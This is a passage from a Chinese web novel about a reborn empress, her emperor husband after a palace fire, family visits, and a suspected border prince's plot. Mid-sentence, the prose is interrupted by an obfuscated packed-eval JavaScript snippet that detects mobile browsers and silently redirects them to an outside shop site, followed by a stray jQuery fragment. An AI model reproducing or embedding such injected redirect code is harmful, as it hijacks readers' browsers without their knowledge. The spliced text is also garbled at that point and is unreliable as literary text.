太医很快就来了,跪在地上重新包扎伤口。
沈之唤紧蹙着眉头一声不吭,陈瑶筝越看胸口发堵得越厉害。
等众人离开后陈瑶筝终于爆发:“沈之唤,是多要紧的事需要你堂堂一国之主冲进火场救人的,你的暗卫呢?他们没有告诉你我和念辰早就出来了吗!”
陈瑶筝真的吓着了,听说他进了火场后,她脑海中闪过无数遍前世他被吊在城门的惨状,她怪他不爱惜自己的身体,怪他行事冲动,不计后果。
还是关心他的对吗,沈之唤嗓音发哑,说了句:“对不起......”
陈瑶筝拂袖:“你就只会道歉。”
从前是,现在也是。
“嘶......”沈之唤痛呼一声,唇色瞬间变得惨白。
他见陈瑶筝生气,站起来时受伤的手臂不小心撞到桌角,他忍痛咬紧牙关,尽量不让自己再发出声响。
“你!”
陈瑶筝心里的火压不下去,见他隐忍不发又不忍再对他凶。
沈之唤急着辩解:“那种情况下根本来不及传唤暗卫,我害怕你和念辰......”
“好了,别说了。”陈瑶筝看到他悬在半空的手止不住地打颤。
恰在这时,床上的小念辰打了个滚儿醒了过来。
“母后。”小念辰眼都没睁开就四处寻找陈瑶筝。
陈瑶筝来到床边坐下:“母后在呢。”
小念辰撅着小屁股爬起来,小手攀上陈瑶筝的脖子倚在她怀里,含糊不清道:“母后,我们这是在哪儿?”
陈瑶筝拍了拍小念辰的后背:“这儿也是母后的宫里,你安心睡吧。”
小念辰赖在陈瑶筝怀里不肯松手,又哼唧了一会儿才又迷迷糊糊的睡着。
沈之唤来到床榻边,问:“你,还生气吗?”
“陛下不爱惜自己的身子,旁人再多言也没用。”陈瑶筝对沈之唤永远都是冷冰冰的,但这一次沈之唤从她的语气里听出了关心。
“有用的。”沈之唤说,只有你的关心才有用。
翌日,陈夫人得知长乐宫走水一事,携儿媳顾盼前来探望。
“母亲一大早听说你宫里走水了,担心坏了,没有受伤吧?”宋婉收到消息便急急进宫,一路上心神不宁,直到亲眼看到女儿好好的才放下心来。
“没有,母亲且宽心。”
宋婉抹了抹眼角的泪痕,“宫里禁卫森严,怎么会突然走水呢?”
陈瑶筝找了借口搪塞过去,便说是有人故意放火。
“可抓到了纵火之人?”一道温婉的声音传来。
说话之人正是陈瑶筝的大嫂,陈聿瑾的妻子——顾盼。
顾盼是顾侯爷府的独女,和陈聿瑾成婚已有七年,育有一子随顾姓,叫顾西祠,今年六岁。
七年前,顾侯爷和夫人到西山礼佛时遇到劫匪,马车从山道上直直翻了下去,顾夫人当场断了气,顾侯爷虽被救了回来,但身体一直处于极度虚弱的状态。
太医来了几次都说活不过年关了,顾侯府本就人丁凋零,顾侯爷又成了这样,眼看着顾侯爷的侯爵之位无人继承。
就在这时陈聿瑾和顾盼私下达成了协议,二人即刻成婚,婚后的第一子随顾姓,记在顾氏的族谱上,继承顾侯爷的爵位。
转眼间,七年过去了,顾盼和陈聿瑾二人也一直相敬如宾。
“当场就擒住了,是两个洒扫的小太监。”
陈瑶筝是很敬重她这位大嫂的,哥哥长年在外,家里大大小小的事都由她这位大嫂嫂操持。
顾盼一语中的,看出了其中的猫腻:“小太监哪来的胆子犯下这大逆不道之罪,娘娘日后行事可要更加小心了。”
“大嫂不必跟我客气,还是和以前一样叫我小妹吧。”
顾盼心下感慨万千,这么些年,她是眼看着陈瑶筝当初是如何反抗家里,反抗赐婚的,幸得当今陛下宽仁,没有追究当年之事。如今小妹能留在京都也是好的,
“大嫂和大哥也快一年不见了吧,现下四方安定,等日后我同陛下说说,让大哥早日回来陪大嫂过年。”
陈瑶筝还未出嫁时就喜欢和顾盼在一起写字、下棋。
那时大哥就很少在家,难得回家一趟也是冷着一张脸,她从来没有见大哥对嫂嫂笑过,嫂嫂脸上却总是挂着柔和的笑,她总是能顾及到大哥的感受,照顾大哥的生活面面俱到,但大哥好像不喜欢她这样。
这么多年过去了,大哥大嫂的感情在她心中还是个谜,她能看出来嫂嫂是爱大哥的,但大哥似乎总是看不到。
去年这个时候,大嫂带着小侄子陪大哥在上邺郡待了几个月,但大嫂身子太弱,在北边一直水土不服就回来了,这一回,两人就再也没见过。
“转眼间就到年关了,小妹你就别去叨扰皇上了。”顾盼就是这样,宁愿自己委屈一些也不愿麻烦别人。
“外祖母!”
小念辰放学后听说外祖母来了连忙往回赶,生怕晚一会儿外祖母就走了。
小念辰进屋一一见礼:“念辰见过母后,见过外祖母,舅母。”
“太子殿下。”顾盼亦回礼。
宋婉带着小念辰去到一边去玩,顾盼又和陈瑶筝说了几句贴心的话,顾盼这一趟带了陈聿瑾的消息来。
信中提到北梁王沈书的手下近日和辽国来往密切,今秋上缴的关税是往年的两倍之余,他怀疑沈书此举是为迷惑众人,博取朝廷信任,实则背地里和辽方勾结,私下抽取重税。
沈书远居边关,天高皇帝远,想不动声色动手脚简直易如反掌。若朝廷因此放宽了关税政策,下一步盐、铁、茶叶、药材等暴利货物将沈书一手遮天全部揽在自己手中,这样一来,造反所需要的钱财他便暂时不愁了。
沈书在陈瑶筝身边放了个青冥,陈瑶筝自然也在丹阳郡留了人。据她了解,沈书在边关曾颁布过一系列有关低赋税、轻徭役的政令,这是他拉拢民心的第一步棋。
不知道沈之唤是否知道沈书的意图,陈瑶筝必须加快进度,不能放任沈书继续下去,否则必会重蹈前世之悲剧。
陈夫人与顾盼离开后,汀兰阁又来了一位“不速之客”。
是四大世家之一姜家的嫡长女——姜礼,与陈瑶筝自幼相识,两人是闺中密友。
姜礼路过昨天晚上被火烧的面目全非的宫殿惊呼出声,她吞了口唾沫,发自内心的感慨了一句:“命真大......”
陈瑶筝与姜礼许久未见,亲自出门迎接,本来两人早就应该在赏花宴上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611507|205944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
见面的,但不知为何姜礼一直未曾出现。
“阿筝!”
姜礼穿着一身红,朝陈瑶筝飞奔而来。
她与陈瑶筝是两个极大地反差,姜氏家风宽和,不拘俗礼,姜礼性子跳脱,通常不按常理出牌,年少时经常充当陈瑶筝的嘴替,当然被“嘴”之人从来都只有沈之璟一个。
陈瑶筝问为何她一直不进宫见她,姜礼拉着她吐槽:“阿筝你快别提了,我爹娘天天变着花样的给我安排大户人家的公子相看,放眼望去这整个京都城的男子都快被我看了个遍了!”
陈瑶筝会心一笑,调侃她:“看来是没有看中的。”
姜礼看见桌子上摆着的大樱桃,捏了两个放在嘴里:“别说我了,陈阿筝,你可真是命大,昨天晚上那么大的火你是怎么跑出来的?”
陈瑶筝如实讲昨夜之事尽数告知,姜礼的眼中多了几分复杂。
“幕后之人不会这么简单吧,知道是谁想害你吗?”她狐疑地看着陈瑶筝,整个小脸皱成一团,“是哪个蠢出天的想谋害当朝皇后,你心里有底吗?”
有些话陈瑶筝不能对沈之唤说,不能跟家人说,但她可以毫无顾忌地对姜礼说出口,真相揭晓之前,她故意跟姜礼卖了个关子:“你不妨大胆猜猜看。”
姜礼大骇,捂嘴怯生道:“你别这样看着我,不,不会是......不会是当今陛下吧?”
陈瑶筝阖上双眼,咬牙道:“再猜。”
“呼~”姜礼长舒一口气,“我就说嘛,陛下害谁也不会害你啊,更何况他儿子昨晚还跟你在一块儿呢。”
陛下害谁也不会害你,陈瑶筝从她人口中听到这话心中掀起了不小的涟漪。
“姜姜,在你看来陛下对我很好,对吗?”陈瑶筝不知道自己是以什么立场问出这句话的。
“额......”姜礼迟疑了一瞬,“我好像说错话了。”
陈瑶筝不喜当今陛下她是知道的,先皇只有沈之唤、沈之璟和沈书三位皇子,先皇待人宽厚,她们几个世族子弟打小就是在宫里长大的。
之前陈瑶筝与沈之唤性格上很合得来,她们二人从来不参与沈之璟、姜礼等一群人的小打小闹。
直到沈书出现之后,陈瑶筝的眼中突然就只剩下沈书一人,也就是从那个时候开始,沈之璟总是时不时找陈瑶筝麻烦,虽然每次都被陈瑶筝怼的上蹿下跳。
陈瑶筝:“没事,你接着说。”
“就是......”姜礼顿了顿,抬头瞅了瞅陈瑶筝的脸色才缓缓道来,“小时候咱们几个一起上课,陛下就对你有笑脸,记得有一次上李先生的古琴课你和沈之璟都忘了带琴来,陛下却把自己的琴借给了你,最后害的陛下挨了先生的训,你忘了当年散学后沈之璟是怎么追着咱们骂的吗?”
陈瑶筝对这事还真有点印象。
不过当时沈之璟讽刺她的主要原因并不是沈之唤将琴借给了自己,而没有借给他。
全是因为当时她正对沈书上头,怕沈书吃醋,就将沈之唤的琴和沈书做了交换、
现在想来也不怪沈之璟追着她为沈之唤抱不平。
姜礼并没有正面回答沈之唤对陈瑶筝有多好多好,通过这件往事,反而让陈瑶筝记起以前同沈之唤之间的诸多回忆。